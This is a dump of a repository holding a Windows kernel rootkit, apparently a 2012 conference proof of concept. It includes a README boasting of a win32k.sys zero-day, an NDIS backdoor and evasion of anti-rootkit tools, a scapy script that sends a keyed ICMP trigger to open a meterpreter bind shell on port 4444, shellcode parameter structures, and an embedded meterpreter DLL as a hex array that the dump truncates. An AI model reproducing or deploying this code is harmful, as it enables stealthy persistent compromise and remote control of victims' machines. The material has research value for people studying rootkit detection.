Showing preview only (369K chars total). Download the full file or copy to clipboard to get everything.
Repository: Cr4sh/WindowsRegistryRootkit
Branch: master
Commit: 41a772552abb
Files: 52
Total size: 351.8 KB
Directory structure:
gitextract_hzqo4tbr/
├── README.md
├── bin/
│ ├── rootkit_installer.pdb
│ └── rootkit_ping.py
└── src/
├── common/
│ ├── catchy32.h
│ ├── catchy32.lib
│ ├── common.h
│ ├── debug.cpp
│ ├── debug.h
│ ├── ntdll_defs.h
│ ├── shellcode2_struct.h
│ └── undocnt.h
├── includes/
│ ├── meterpreter_debug.dll.h
│ └── rootkit_driver_debug.sys.h
├── meterpreter/
│ ├── dllmain.cpp
│ ├── meterpreter.cpp
│ ├── meterpreter.def
│ ├── meterpreter.vcproj
│ ├── post_build.bat
│ ├── stdafx.cpp
│ ├── stdafx.h
│ └── targetver.h
├── meterpreter_bind_tcp.h
├── meterpreter_config.h
├── meterpreter_debug.pdb
├── rootkit.sln
├── rootkit_driver/
│ ├── bogusproto.cpp
│ ├── bogusproto.h
│ ├── debug.h
│ ├── dll_inject.cpp
│ ├── dll_inject.h
│ ├── dll_inject_shellcode.h
│ ├── ndis_hook.cpp
│ ├── ndis_hook.h
│ ├── network.cpp
│ ├── network.h
│ ├── post_build.bat
│ ├── rootkit_driver.cpp
│ ├── rootkit_driver.def
│ ├── rootkit_driver.h
│ ├── rootkit_driver.vcproj
│ ├── runtime.cpp
│ ├── runtime.h
│ ├── stdafx.h
│ └── undocnt.h
├── rootkit_driver_config.h
├── rootkit_driver_debug.pdb
├── rootkit_driver_debug.sys
└── rootkit_installer/
├── rootkit_installer.cpp
├── rootkit_installer.vcproj
├── stdafx.cpp
├── stdafx.h
└── targetver.h
================================================
FILE CONTENTS
================================================
================================================
FILE: README.md
================================================
******************************************************************************
Kernel rootkit, that lives inside the Windows registry value data.
By Oleksiuk Dmytro (aka Cr4sh)
http://twitter.com/d_olex
http://blog.cr4.sh
cr4sh0@gmail.com
******************************************************************************
Rootkit uses the zero day vulnerability in win32k.sys (buffer overflow in function win32k!bInitializeEUDC()) to get the execution at the OS startup.
Features:
* NDIS-based network backdoor (+ meterpreter/bind_tcp).
* In order to avoid unknown executable code detection it moves itself in the memory over discardable sections of some default Windows drivers.
* Completely undetectable by public anti-rootkit tools.
* Working on Windows 7 (SP0, SP1) x86.

This rootkit was originally presented at the ZeroNights 2012 conference during my talk.
See the slides and videos for more information: https://raw.githubusercontent.com/Cr4sh/blog/master/windows-registry-rootkit/Applied-anti-forensics.pdf
================================================
FILE: bin/rootkit_ping.py
================================================
#####################################################################
#
# Windows kernrel rootkit PoC using registry values processing BoF.
#
# Script for meterpreter/bind_tcp backdoor activation on TCP/4444
# port of infected target.
#
# (c) 2012, Oleksiuk Dmytro (aka Cr4sh)
# cr4sh@riseup.net
#
#####################################################################
import sys, os
from optparse import OptionParser
BACKDOOR_PORT_NUMBER = 4444
TIMEOUT = 5
try:
# import scapy stuff
from scapy.all import *
except Exception, why:
print "[!] Exception while importing module: " + str(why)
print "[!] Scapy (http://www.secdev.org/projects/scapy/) is not installed?"
sys.exit()
if __name__ == '__main__':
print "***********************************************************\n"
print " Windows kernrel rootkit PoC using registry values processing BoF.\n"
print " (c) 2012 Oleksiuk Dmytro (aka Cr4sh)"
print " cr4sh@riseup.net\n"
print "***********************************************************\n"
parser = OptionParser()
parser.add_option("-k", "--key", dest = "key", default = None,
help = "Rootkit secret key.")
parser.add_option("-d", "--dst", dest = "dst", default = None,
help = "Destination host IP address.")
# parse command line
(options, args) = parser.parse_args()
if options.key is None or options.dst is None:
print "[!] Please specify --dst and --key options"
sys.exit()
print "[+] Destination host IP address: ", options.dst
print "[+] Rootkit secret key: ", options.key
print "[+] Backdoor port: ", str(BACKDOOR_PORT_NUMBER)
# allocate IP + ICMP packets
ip = IP(dst = options.dst)
icmp = ICMP(type = 8, code = 0)
data = "RKCTL:" + options.key
# send it over the network
sr1(ip/icmp/data, timeout = TIMEOUT)
# scan for opened backdoor port
ip = IP(dst = options.dst)
TCP_SYN = TCP(sport = RandShort(), dport = int(BACKDOOR_PORT_NUMBER), flags = 'S', seq = 40)
# send SYN packet and wait for the first reply
TCP_SYNACK = sr1(ip/TCP_SYN, timeout = 1)
# SEQ Number for SYN-ACK
if not TCP_SYNACK or TCP_SYNACK.getlayer(TCP).flags != 0x12:
# response from our target aka hostip - expect RST
print "[+] Port %d is closed" % BACKDOOR_PORT_NUMBER
else:
print "[+] Port %d is opened, use Metasploit for connection to meterpreter/bind_tcp" % BACKDOOR_PORT_NUMBER
print "[+] It will be closed immediately after 'exit' command in meterpreter shell"
# if end
#
# EoF
#
================================================
FILE: src/common/catchy32.h
================================================
#define CATCHY_ERROR 0xffffffff
#ifdef __cplusplus
extern "C" {
#endif
ULONG __cdecl c_Catchy(PVOID);
#ifdef __cplusplus
}
#endif
================================================
FILE: src/common/common.h
================================================
#define TIME_ABSOLUTE(wait) (wait)
#define TIME_RELATIVE(wait) (-(wait))
#define TIME_NANOSECONDS(nanos) (((signed __int64)(nanos)) / 100L)
#define TIME_MICROSECONDS(micros) (((signed __int64)(micros)) * TIME_NANOSECONDS(1000L))
#define TIME_MILLISECONDS(milli) (((signed __int64)(milli)) * TIME_MICROSECONDS(1000L))
#define TIME_SECONDS(seconds) (((signed __int64)(seconds)) * TIME_MILLISECONDS(1000L))
#define RVATOVA(_base_, _offset_) ((PUCHAR)(_base_) + (ULONG)(_offset_))
#define MY_ALIGN_DOWN(_val_, _align_) ((_val_) &~ ((_align_) - 1))
#define MY_ALIGN_UP(_val_, _align_) (((_val_) & ((_align_) - 1)) ? MY_ALIGN_DOWN((_val_), (_align_)) + (_align_) : (_val_))
#define IFMT32 "0x%.8x"
#define IFMT64 "0x%.16I64x"
#define GET_NATIVE(_name_) \
\
func_##_name_ f_##_name_ = (func_##_name_)GetProcAddress( \
GetModuleHandle("ntdll.dll"), \
(#_name_) \
);
#if defined(_X86_)
#define IFMT IFMT32
#elif defined(_AMD64_)
#define IFMT IFMT64
#endif
================================================
FILE: src/common/debug.cpp
================================================
#include "stdafx.h"
//--------------------------------------------------------------------------------------
#ifdef DBG
//--------------------------------------------------------------------------------------
char *GetNameFromFullPath(char *lpszPath)
{
char *lpszName = lpszPath;
for (int i = 0; i < lstrlenA(lpszPath); i++)
{
if (lpszPath[i] == '\\' || lpszPath[i] == '/')
{
lpszName = lpszPath + i + 1;
}
}
return lpszName;
}
//--------------------------------------------------------------------------------------
typedef int (__cdecl * func_sprintf)(LPSTR, LPCSTR, ...);
typedef int (__cdecl * func_vsprintf)(LPSTR, LPCSTR, va_list arglist);
typedef int (__cdecl * func__vscprintf)(const char *format, va_list argptr);
void DbgMsg(char *lpszFile, int Line, char *lpszMsg, ...)
{
va_list mylist;
va_start(mylist, lpszMsg);
func_sprintf f_sprintf = (func_sprintf)GetProcAddress(
LoadLibraryA("msvcrt.dll"),
"sprintf"
);
if (f_sprintf == NULL)
{
return;
}
func_vsprintf f_vsprintf = (func_vsprintf)GetProcAddress(
LoadLibraryA("msvcrt.dll"),
"vsprintf"
);
if (f_vsprintf == NULL)
{
return;
}
func__vscprintf f__vscprintf = (func__vscprintf)GetProcAddress(
LoadLibraryA("msvcrt.dll"),
"_vscprintf"
);
if (f__vscprintf == NULL)
{
return;
}
size_t len = f__vscprintf(lpszMsg, mylist) + 0x100;
char *lpszBuff = (char *)LocalAlloc(LMEM_FIXED, len);
if (lpszBuff == NULL)
{
va_end(mylist);
return;
}
char *lpszOutBuff = (char *)LocalAlloc(LMEM_FIXED, len);
if (lpszOutBuff == NULL)
{
LocalFree(lpszBuff);
va_end(mylist);
return;
}
f_vsprintf(lpszBuff, lpszMsg, mylist);
va_end(mylist);
f_sprintf(
lpszOutBuff, "[%.5d] .\\%s(%d) : %s",
GetCurrentProcessId(), GetNameFromFullPath(lpszFile), Line, lpszBuff
);
OutputDebugStringA(lpszOutBuff);
HANDLE hStd = GetStdHandle(STD_OUTPUT_HANDLE);
if (hStd != INVALID_HANDLE_VALUE)
{
DWORD dwWritten = 0;
WriteFile(hStd, lpszBuff, lstrlenA(lpszBuff), &dwWritten, NULL);
}
LocalFree(lpszOutBuff);
LocalFree(lpszBuff);
}
//--------------------------------------------------------------------------------------
#endif DBG
//--------------------------------------------------------------------------------------
// EoF
================================================
FILE: src/common/debug.h
================================================
#ifdef DBG
void DbgMsg(char *lpszFile, int Line, char *lpszMsg, ...);
#else
#define DbgMsg
#endif
================================================
FILE: src/common/ntdll_defs.h
================================================
typedef LONG NTSTATUS;
typedef struct _IO_STATUS_BLOCK
{
union {
NTSTATUS Status;
PVOID Pointer;
};
ULONG_PTR Information;
} IO_STATUS_BLOCK,
*PIO_STATUS_BLOCK;
#undef UNICODE_STRING
typedef struct _UNICODE_STRING
{
USHORT Length;
USHORT MaximumLength;
PWSTR Buffer;
} UNICODE_STRING,
*PUNICODE_STRING;
typedef struct _STRING
{
USHORT Length;
USHORT MaximumLength;
PCHAR Buffer;
} ANSI_STRING,
*PANSI_STRING;
typedef struct _CLIENT_ID
{
HANDLE UniqueProcess;
HANDLE UniqueThread;
} CLIENT_ID,
*PCLIENT_ID;
#define OBJ_INHERIT 0x00000002
#define OBJ_PERMANENT 0x00000010
#define OBJ_EXCLUSIVE 0x00000020
#define OBJ_CASE_INSENSITIVE 0x00000040
#define OBJ_OPENIF 0x00000080
#define OBJ_OPENLINK 0x00000100
#define OBJ_VALID_ATTRIBUTES 0x000001F2
typedef struct _OBJECT_ATTRIBUTES
{
ULONG Length;
HANDLE RootDirectory;
PUNICODE_STRING ObjectName;
ULONG Attributes;
PVOID SecurityDescriptor;
PVOID SecurityQualityOfService;
} OBJECT_ATTRIBUTES,
*POBJECT_ATTRIBUTES;
#define InitializeObjectAttributes( p, n, a, r, s ) { \
(p)->Length = sizeof( OBJECT_ATTRIBUTES ); \
(p)->RootDirectory = r; \
(p)->Attributes = a; \
(p)->ObjectName = n; \
(p)->SecurityDescriptor = s; \
(p)->SecurityQualityOfService = NULL; \
}
#define NT_SUCCESS(Status) ((LONG)(Status) >= 0)
#define NT_ERROR(Status) ((ULONG)(Status) >> 30 == 3)
#define NtCurrentProcess() ((HANDLE)-1)
#ifndef STATUS_BUFFER_OVERFLOW
#define STATUS_BUFFER_OVERFLOW ((NTSTATUS)0x80000005L)
#endif
#ifndef STATUS_NO_MORE_FILES
#define STATUS_NO_MORE_FILES ((NTSTATUS)0x80000006L)
#endif
#ifndef STATUS_INFO_LENGTH_MISMATCH
#define STATUS_INFO_LENGTH_MISMATCH ((NTSTATUS)0xC0000004L)
#endif
#ifndef STATUS_BUFFER_TOO_SMALL
#define STATUS_BUFFER_TOO_SMALL ((NTSTATUS)0xC0000023L)
#endif
#ifndef STATUS_UNSUCCESSFUL
#define STATUS_UNSUCCESSFUL ((NTSTATUS)0xC0000001L)
#endif
================================================
FILE: src/common/shellcode2_struct.h
================================================
#define DBGPRINT_MESSAGE "YOU GOT PWND!\n"
#define DBGPRINT_MESSAGE_LEN 0x20
typedef struct _SC_PARAMS
{
PVOID kernel_base;
PVOID win32k_base;
ULONG rootkit_size;
PVOID rootkit_base;
ULONG offset_MmIsAddressValid;
ULONG offset_PsGetCurrentProcess;
ULONG offset_PsGetProcessWin32Process;
ULONG offset_ExAllocatePool;
ULONG offset_RtlQueryRegistryValues;
ULONG offset_UserInitialize;
ULONG offset_bInitializeEUDC_patch;
#ifdef USE_SHELLCODE_DBGPRINT
ULONG offset_DbgPrint;
char szDbgPrintMessage[DBGPRINT_MESSAGE_LEN];
#endif
} SC_PARAMS,
*PSC_PARAMS;
/**
* Offsets for SC_PARAMS fields.
*/
#define _kernel_base 0x00
#define _win32k_base 0x04
#define _rootkit_size 0x08
#define _rootkit_base 0x0c
#define _MmIsAddressValid 0x10
#define _PsGetCurrentProcess 0x14
#define _PsGetProcessWin32Process 0x18
#define _ExAllocatePool 0x1c
#define _RtlQueryRegistryValues 0x20
#define _UserInitialize 0x24
#define _bInitializeEUDC_patch 0x28
#define _DbgPrint 0x2c
#define _szDbgPrintMessage 0x30
#define SHELLCODE_2_MAX_BUFF_SIZE 0x300
================================================
FILE: src/common/undocnt.h
================================================
/************************************************************/
/* */
/* Some structures for native API functions */
/* */
/************************************************************/
typedef enum _SYSTEM_INFORMATION_CLASS
{
SystemBasicInformation,
SystemProcessorInformation, // obsolete...delete
SystemPerformanceInformation,
SystemTimeOfDayInformation,
SystemPathInformation,
SystemProcessInformation,
SystemCallCountInformation,
SystemDeviceInformation,
SystemProcessorPerformanceInformation,
SystemFlagsInformation,
SystemCallTimeInformation,
SystemModuleInformation,
SystemLocksInformation,
SystemStackTraceInformation,
SystemPagedPoolInformation,
SystemNonPagedPoolInformation,
SystemHandleInformation,
SystemObjectInformation,
SystemPageFileInformation,
SystemVdmInstemulInformation,
SystemVdmBopInformation,
SystemFileCacheInformation,
SystemPoolTagInformation,
SystemInterruptInformation,
SystemDpcBehaviorInformation,
SystemFullMemoryInformation,
SystemLoadGdiDriverInformation,
SystemUnloadGdiDriverInformation,
SystemTimeAdjustmentInformation,
SystemSummaryMemoryInformation,
SystemMirrorMemoryInformation,
SystemPerformanceTraceInformation,
SystemObsolete0,
SystemExceptionInformation,
SystemCrashDumpStateInformation,
SystemKernelDebuggerInformation,
SystemContextSwitchInformation,
SystemRegistryQuotaInformation,
SystemExtendServiceTableInformation,
SystemPrioritySeperation,
SystemVerifierAddDriverInformation,
SystemVerifierRemoveDriverInformation,
SystemProcessorIdleInformation,
SystemLegacyDriverInformation,
SystemCurrentTimeZoneInformation,
SystemLookasideInformation,
SystemTimeSlipNotification,
SystemSessionCreate,
SystemSessionDetach,
SystemSessionInformation,
SystemRangeStartInformation,
SystemVerifierInformation,
SystemVerifierThunkExtend,
SystemSessionProcessInformation,
SystemLoadGdiDriverInSystemSpace,
SystemNumaProcessorMap,
SystemPrefetcherInformation,
SystemExtendedProcessInformation,
SystemRecommendedSharedDataAlignment,
SystemComPlusPackage,
SystemNumaAvailableMemory,
SystemProcessorPowerInformation,
SystemEmulationBasicInformation,
SystemEmulationProcessorInformation,
SystemExtendedHandleInformation,
SystemLostDelayedWriteInformation,
SystemBigPoolInformation,
SystemSessionPoolTagInformation,
SystemSessionMappedViewInformation,
SystemHotpatchInformation,
SystemObjectSecurityMode,
SystemWatchdogTimerHandler,
SystemWatchdogTimerInformation,
SystemLogicalProcessorInformation,
SystemWow64SharedInformation,
SystemRegisterFirmwareTableInformationHandler,
SystemFirmwareTableInformation,
SystemModuleInformationEx,
SystemVerifierTriageInformation,
SystemSuperfetchInformation,
SystemMemoryListInformation,
SystemFileCacheInformationEx,
MaxSystemInfoClass // MaxSystemInfoClass should always be the last enum
} SYSTEM_INFORMATION_CLASS;
typedef struct _RTL_PROCESS_MODULE_INFORMATION
{
HANDLE Section; // Not filled in
PVOID MappedBase;
PVOID ImageBase;
ULONG ImageSize;
ULONG Flags;
USHORT LoadOrderIndex;
USHORT InitOrderIndex;
USHORT LoadCount;
USHORT OffsetToFileName;
UCHAR FullPathName[ 256 ];
} RTL_PROCESS_MODULE_INFORMATION,
*PRTL_PROCESS_MODULE_INFORMATION;
typedef struct _RTL_PROCESS_MODULES
{
ULONG NumberOfModules;
RTL_PROCESS_MODULE_INFORMATION Modules[ 1 ];
} RTL_PROCESS_MODULES,
*PRTL_PROCESS_MODULES;
typedef enum _SHUTDOWN_ACTION
{
ShutdownNoReboot,
ShutdownReboot,
ShutdownPowerOff
} SHUTDOWN_ACTION,
*PSHUTDOWN_ACTION;
typedef struct _DIRECTORY_BASIC_INFORMATION
{
UNICODE_STRING ObjectName;
UNICODE_STRING ObjectTypeName;
} DIRECTORY_BASIC_INFORMATION,
*PDIRECTORY_BASIC_INFORMATION;
typedef struct _SYSTEM_HANDLE_TABLE_ENTRY_INFO
{
USHORT UniqueProcessId;
USHORT CreatorBackTraceIndex;
UCHAR ObjectTypeIndex;
UCHAR HandleAttributes;
USHORT HandleValue;
PVOID Object;
ULONG GrantedAccess;
} SYSTEM_HANDLE_TABLE_ENTRY_INFO,
*PSYSTEM_HANDLE_TABLE_ENTRY_INFO;
typedef struct _SYSTEM_HANDLE_INFORMATION
{
ULONG NumberOfHandles;
SYSTEM_HANDLE_TABLE_ENTRY_INFO Handles[ 1 ];
} SYSTEM_HANDLE_INFORMATION,
*PSYSTEM_HANDLE_INFORMATION;
/************************************************************/
/* */
/* Prototypes for native and kernel API functions */
/* */
/************************************************************/
typedef enum _KPROFILE_SOURCE
{
ProfileTime,
ProfileAlignmentFixup,
ProfileTotalIssues,
ProfilePipelineDry,
ProfileLoadInstructions,
ProfilePipelineFrozen,
ProfileBranchInstructions,
ProfileTotalNonissues,
ProfileDcacheMisses,
ProfileIcacheMisses,
ProfileCacheMisses,
ProfileBranchMispredictions,
ProfileStoreInstructions,
ProfileFpInstructions,
ProfileIntegerInstructions,
Profile2Issue,
Profile3Issue,
Profile4Issue,
ProfileSpecialInstructions,
ProfileTotalCycles,
ProfileIcacheIssues,
ProfileDcacheAccesses,
ProfileMemoryBarrierCycles,
ProfileLoadLinkedIssues,
ProfileMaximum
} KPROFILE_SOURCE,
*PKPROFILE_SOURCE;
typedef NTSTATUS (WINAPI * func_NtQueryIntervalProfile)(
KPROFILE_SOURCE ProfileSource,
PULONG Interval
);
typedef NTSTATUS (WINAPI * func_NtQuerySystemInformation)(
SYSTEM_INFORMATION_CLASS SystemInformationClass,
PVOID SystemInformation,
ULONG SystemInformationLength,
PULONG ReturnLength
);
typedef CCHAR KPROCESSOR_MODE;
typedef enum _MODE
{
KernelMode,
UserMode,
MaximumMode
} MODE;
typedef NTSTATUS (WINAPI * func_NtAllocateVirtualMemory)(
HANDLE ProcessHandle,
PVOID *BaseAddress,
ULONG_PTR ZeroBits,
PSIZE_T RegionSize,
ULONG AllocationType,
ULONG Protect
);
typedef NTSTATUS (WINAPI * func_KeDelayExecutionThread)(
KPROCESSOR_MODE WaitMode,
BOOLEAN Alertable,
PLARGE_INTEGER Interval
);
typedef VOID (WINAPI * func_KeUnstackDetachProcess)(
PVOID ApcState
);
typedef enum _POOL_TYPE
{
NonPagedPool,
PagedPool
} POOL_TYPE;
typedef PVOID (WINAPI * func_ExAllocatePool)(
POOL_TYPE PoolType,
SIZE_T NumberOfBytes
);
typedef HANDLE (WINAPI * func_PsGetCurrentProcessId)(VOID);
typedef HANDLE (WINAPI * func_PsGetCurrentThreadId)(VOID);
typedef PVOID (WINAPI * func_PsGetCurrentThread)(VOID);
typedef NTSTATUS (WINAPI * func_ZwOpenThread)(
PHANDLE ThreadHandle,
ACCESS_MASK DesiredAccess,
POBJECT_ATTRIBUTES ObjectAttributes,
PCLIENT_ID ClientId
);
typedef VOID (WINAPI * func_RtlInitUnicodeString)(
PUNICODE_STRING DestinationString,
PCWSTR SourceString
);
typedef VOID (WINAPI * func_RtlInitAnsiString)(
PANSI_STRING DestinationString,
PCSTR SourceString
);
typedef NTSTATUS (WINAPI * func_RtlAnsiStringToUnicodeString)(
PUNICODE_STRING DestinationString,
PANSI_STRING SourceString,
BOOLEAN AllocateDestinationString
);
typedef BOOLEAN (WINAPI * func_RtlEqualUnicodeString)(
UNICODE_STRING *String1,
UNICODE_STRING *String2,
BOOLEAN CaseInSensitive
);
typedef VOID (WINAPI * func_RtlFreeUnicodeString)(
PUNICODE_STRING UnicodeString
);
typedef NTSTATUS (WINAPI * func_NtOpenFile)(
PHANDLE FileHandle,
ACCESS_MASK DesiredAccess,
POBJECT_ATTRIBUTES ObjectAttributes,
PIO_STATUS_BLOCK IoStatusBlock,
ULONG ShareAccess,
ULONG OpenOptions
);
typedef VOID (__fastcall * func_IofCompleteRequest)(
struct _IRP *Irp,
CCHAR PriorityBoost
);
typedef NTSTATUS (WINAPI * func_PsLookupProcessByProcessId)(
HANDLE ProcessId,
PVOID *Process
);
================================================
FILE: src/includes/meterpreter_debug.dll.h
================================================
// 5632 bytes readed form ..\meterpreter_debug.dll...
unsigned char dll[] =
{
0x4d,0x5a,0x90,0x00,0x03,0x00,0x00,0x00,0x04,0x00,0x00,0x00,0xff,0xff,0x00,0x00,
0xb8,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x40,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xd0,0x00,0x00,0x00,
0x0e,0x1f,0xba,0x0e,0x00,0xb4,0x09,0xcd,0x21,0xb8,0x01,0x4c,0xcd,0x21,0x54,0x68,
0x69,0x73,0x20,0x70,0x72,0x6f,0x67,0x72,0x61,0x6d,0x20,0x63,0x61,0x6e,0x6e,0x6f,
0x74,0x20,0x62,0x65,0x20,0x72,0x75,0x6e,0x20,0x69,0x6e,0x20,0x44,0x4f,0x53,0x20,
0x6d,0x6f,0x64,0x65,0x2e,0x0d,0x0d,0x0a,0x24,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x11,0xcb,0xaf,0x83,0x55,0xaa,0xc1,0xd0,0x55,0xaa,0xc1,0xd0,0x55,0xaa,0xc1,0xd0,
0x72,0x6c,0xba,0xd0,0x52,0xaa,0xc1,0xd0,0x55,0xaa,0xc0,0xd0,0x4c,0xaa,0xc1,0xd0,
0x5c,0xd2,0x45,0xd0,0x51,0xaa,0xc1,0xd0,0x5c,0xd2,0x53,0xd0,0x54,0xaa,0xc1,0xd0,
0x5c,0xd2,0x50,0xd0,0x54,0xaa,0xc1,0xd0,0x52,0x69,0x63,0x68,0x55,0xaa,0xc1,0xd0,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x50,0x45,0x00,0x00,0x4c,0x01,0x04,0x00,0x80,0x01,0xe4,0x50,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0xe0,0x00,0x02,0x21,0x0b,0x01,0x09,0x00,0x00,0x06,0x00,0x00,
0x00,0x0c,0x00,0x00,0x00,0x00,0x00,0x00,0x50,0x12,0x00,0x00,0x00,0x10,0x00,0x00,
0x00,0x20,0x00,0x00,0x00,0x00,0x00,0x10,0x00,0x10,0x00,0x00,0x00,0x02,0x00,0x00,
0x05,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x05,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x50,0x00,0x00,0x00,0x04,0x00,0x00,0x00,0x00,0x00,0x00,0x02,0x00,0x40,0x05,
0x00,0x00,0x10,0x00,0x00,0x10,0x00,0x00,0x00,0x00,0x10,0x00,0x00,0x10,0x00,0x00,
0x00,0x00,0x00,0x00,0x10,0x00,0x00,0x00,0x60,0x26,0x00,0x00,0x4e,0x00,0x00,0x00,
0xd8,0x23,0x00,0x00,0x50,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x40,0x00,0x00,0xc8,0x00,0x00,0x00,0x70,0x20,0x00,0x00,0x1c,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x20,0x00,0x00,0x70,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x2e,0x74,0x65,0x78,0x74,0x00,0x00,0x00,
0x76,0x05,0x00,0x00,0x00,0x10,0x00,0x00,0x00,0x06,0x00,0x00,0x00,0x04,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x20,0x00,0x00,0x60,
0x2e,0x72,0x64,0x61,0x74,0x61,0x00,0x00,0x11,0x07,0x00,0x00,0x00,0x20,0x00,0x00,
0x00,0x08,0x00,0x00,0x00,0x0a,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x40,0x00,0x00,0x40,0x2e,0x64,0x61,0x74,0x61,0x00,0x00,0x00,
0x2b,0x01,0x00,0x00,0x00,0x30,0x00,0x00,0x00,0x02,0x00,0x00,0x00,0x12,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x40,0x00,0x00,0xc0,
0x2e,0x72,0x65,0x6c,0x6f,0x63,0x00,0x00,0xde,0x00,0x00,0x00,0x00,0x40,0x00,0x00,
0x00,0x02,0x00,0x00,0x00,0x14,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x40,0x00,0x00,0x42,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0xff,0x54,0x24,0x04,0xc2,0x04,0x00,0xcc,0xcc,0xcc,0xcc,0xcc,0xcc,0xcc,0xcc,0xcc,
0x55,0x8b,0xec,0x81,0xec,0x1c,0x01,0x00,0x00,0x56,0x57,0xc7,0x85,0xe8,0xfe,0xff,
0xff,0x00,0x00,0x00,0x00,0xff,0x15,0x24,0x20,0x00,0x10,0x50,0xff,0x15,0x20,0x20,
0x00,0x10,0x50,0x68,0x8c,0x20,0x00,0x10,0x6a,0x16,0x68,0xb0,0x20,0x00,0x10,0xe8,
0x7c,0x03,0x00,0x00,0x83,0xc4,0x14,0x68,0x5c,0x11,0x00,0x00,0x68,0xc0,0x20,0x00,
0x10,0x6a,0x1a,0x68,0xf8,0x20,0x00,0x10,0xe8,0x63,0x03,0x00,0x00,0x83,0xc4,0x10,
0x68,0x5c,0x11,0x00,0x00,0x68,0x08,0x21,0x00,0x10,0x8d,0x85,0xf0,0xfe,0xff,0xff,
0x50,0xff,0x15,0x64,0x20,0x00,0x10,0x83,0xc4,0x0c,0x6a,0x00,0x8d,0x8d,0xf0,0xfe,
0xff,0xff,0x51,0xff,0x15,0x1c,0x20,0x00,0x10,0x89,0x85,0xec,0xfe,0xff,0xff,0x8b,
